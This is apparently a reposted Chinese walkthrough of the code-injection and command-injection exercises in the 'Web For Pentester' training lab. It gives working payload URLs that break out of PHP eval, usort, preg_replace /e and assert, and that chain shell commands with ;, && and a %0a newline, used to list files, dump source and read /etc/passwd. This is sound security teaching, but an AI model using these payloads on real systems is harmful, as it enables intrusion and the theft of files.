Web For Pentester中代码注入和命令执行部分攻略

7 代码注入

7.1

url为http://192.168.0.105/codeexec/example1.php?name=hacker内容是hello hacker

乍一看跨站或注入啊,先试试script

http://192.168.0.105/codeexec/example1.php?name=hacker 竟然成功了。

http://192.168.0.105/codeexec/example1.php?name=hacker 报错了。

Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in /var/www/codeexec/example1.php(6) : eval()'d code on line 1

看到了eval,可以在里面插入代码执行,代码应该使用双引号闭合的。php下执行操作系统命令是system()函数

先试试ls。

http://192.168.0.105/codeexec/example1.php?name=hacker".system(ls)." 先用双引号闭合,然后再用点连接字符串,在用一个双引号把后面的闭合,最后组合的字符串进入eval执行。成功获得本目录下的文件名。此处notice提示system的参数尽量用单引号括起来。

Notice: Use of undefined constant ls - assumed 'ls' in /var/www/codeexec/example1.php(6) : eval()'d code on line 1 example1.php example2.php example3.php example4.php index.html Hello hackerindex.html!!!

再试试cat自己

http://192.168.0.105/codeexec/example1.php?name=hacker".system('cat example1.php')." 右击查看源代码,成功获取example1.php的代码。

view-source:http://192.168.0.105/codeexec/example1.php?name=hacker%22.system(%27cat%20example1.php%27).%22

http://192.168.0.105/codeexec/example1.php?name=hacker".phpinfo();//

http://192.168.0.105/codeexec/example1.php?name=hacker${$}

7.2

url为http://192.168.0.105/codeexec/example2.php?order=id,内容与上面的注入一样是一个表。

上一句的跨站有惊喜,这句的注入也先试试

http://192.168.0.105/codeexec/example2.php?order=id' 报错后还是显示了表

Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /var/www/codeexec/example2.php(22) : runtime-created function on line 1 Warning: usort() expects parameter 2 to be a valid callback, no array or string given in /var/www/codeexec/example2.php on line 22

http://192.168.0.105/codeexec/example2.php?order=id" 换双引号同样报错

Parse error: syntax error, unexpected '"' in /var/www/codeexec/example2.php(22) : runtime-created function on line 1 Warning: usort() expects parameter 2 to be a valid callback, no array or string given in /var/www/codeexec/example2.php on line 22

查一下usort()函数,通过用户自定义的比较函数对数组进行排序,而报错是提示usort()使用的自定义函数没有返回。说明order参数能直接进入usort的自定义函数,那么我们考虑闭合自定义函数后执行我们想执行的代码;

通过不断地尝试右括号、分号、右打括号的排列组合(其实是抄网上的),

http://192.168.0.105/codeexec/example2.php?order=age);}// 这一句是warning,说明闭合成功了。

http://192.168.0.105/codeexec/example2.php?order=age);}system('ls');// 成功列出目录

http://192.168.0.105/codeexec/example2.php?order=age);}system('cat example2.php');//

http://192.168.0.105/codeexec/example2.php?order=age);}phpinfo();//

http://192.168.0.105/codeexec/example2.php?order=age);}phpinfo();%23

7.3

url为http://192.168.0.105/codeexec/example3.php?new=hacker&pattern=/lamer/&base=Hello lamer

显示还是hello hacker

通过不断给new、pattern和base三个参数的值变化,了解到后台思路是,先字符串存入base,然后用正则替换把base中的pattern替换成new,最终显示。

http://192.168.0.105/codeexec/example3.php?new=hacker&pattern=/lamer/&base=Hello lamer 当然跨站还是有的。

因为是代码执行,php中preg_replace()函数使用/e时是可以执行替换后的语句的。

直接把new换成可执行的,并把pattern加/e试试。

http://192.168.0.105/codeexec/example3.php?new=phpinfo();&pattern=/lamer/e&base=Hello lamer 成功了。

http://192.168.0.105/codeexec/example3.php?new=system('ls')&pattern=/lamer/e&base=Hello lamer

view-source:http://192.168.0.105/codeexec/example3.php?new=system(%27cat%20example3.php%27)&pattern=/lamer/e&base=Hello%20lamer

7.4

url为http://192.168.0.105/codeexec/example4.php?name=hacker显示hello hacker

先试试跨站吧

http://192.168.0.105/codeexec/example4.php?name=hacker 成功弹框,但也报错了。

Parse error: syntax error, unexpected T_STRING in /var/www/codeexec/example4.php(4) : assert code on line 1 Catchable fatal error: assert(): Failure evaluating code: 'hacker' in /var/www/codeexec/example4.php on line 4

看到使用了assert()函数,网上查了下,assert()函数与eval()函数类似,当函数参数是字符串时将执行字符串。

然后我们就是测试闭合问题了。经过多轮测试(在看了答案后),结果:

http://192.168.0.106/codeexec/example4.php?name=hacker'.system('ls');//

http://192.168.0.106/codeexec/example4.php?name=hacker'.phpinfo();//

8 命令注入

8.1

url 为http://192.168.1.109/commandexec/example1.php?ip=127.0.0.1显示的是ping 127.0.0.1的内容,只ping了2次。

考虑到服务端代码可能为system("ping -c 2".$ip );

那么$ip用等符号间隔可再多执行些个命令,

可用;,,,&,&&,等,这其中有的需要第一个命令报错才执行第二个命令。

http://192.168.1.109/commandexec/example1.php?ip=127.0.0.1;! ls

http://192.168.1.109/commandexec/example1.php?ip=127.0.0.1;! cat example1.php

http://192.168.1.109/commandexec/example1.php?ip=127.0.0.1;! cat /etc/passwd

http://192.168.1.109/commandexec/example1.php?ip=127.0.0.1%26%26cat /etc/passwd //%26是&的urlencode

http://192.168.1.109/commandexec/example1.php?ip=1127.0.0.1%26cat /etc/passwd

http://192.168.1.109/commandexec/example1.php?ip=1127.0.0.1cat /etc/passwd //ab,必须是a报错b才能执行。

8.2

url为http://192.168.1.109/commandexec/example2.php?ip=127.0.0.1,显示的与之前的一样。

先用;ls试,显示Invalid IP address,说明对ip提交的值进行了过滤,应该用了preg_grep等,希望使用了/m参数,用%0a进行截断试试。成功。

http://192.168.1.109/commandexec/example2.php?ip=127.0.0.1%0als

http://192.168.1.109/commandexec/example2.php?ip=127.0.0.1%0acat example2.php查看源代码

f (!(preg_match('/^\d\.\d\.\d.\d$/m', $_GET['ip']))) { die("Invalid IP address");//以后用preg千万别用/m,/e,但多用/i。

8.3

url为http://192.168.1.109/commandexec/example3.php?ip=127.0.0.1,显示的与之前的一样。

分别尝试了各种符号连接和%0a,包括把ip写成其它的,都显示ping通了。看源代码吧。

f (!(preg_match('/^\d\.\d\.\d.\d$/', $_GET['ip']))) { header("Location: example3.php?ip=127.0.0.1");

原来是如果ip不是ip地址格式,则跳转到ping 127.0.0.1,这个地方如果用burp抓吧,能抓到两个包。第一个包302,但是执行命令成功的,能把后续的ls或cat发回客户端,但马上被第二个正常ping的包覆盖后显示了。

  • 发表于:
  • 原文链接:http://kuaibao.qq.com/s/20180126G08WIK00?refer=cp_1026

相关快讯

扫码关注云+社区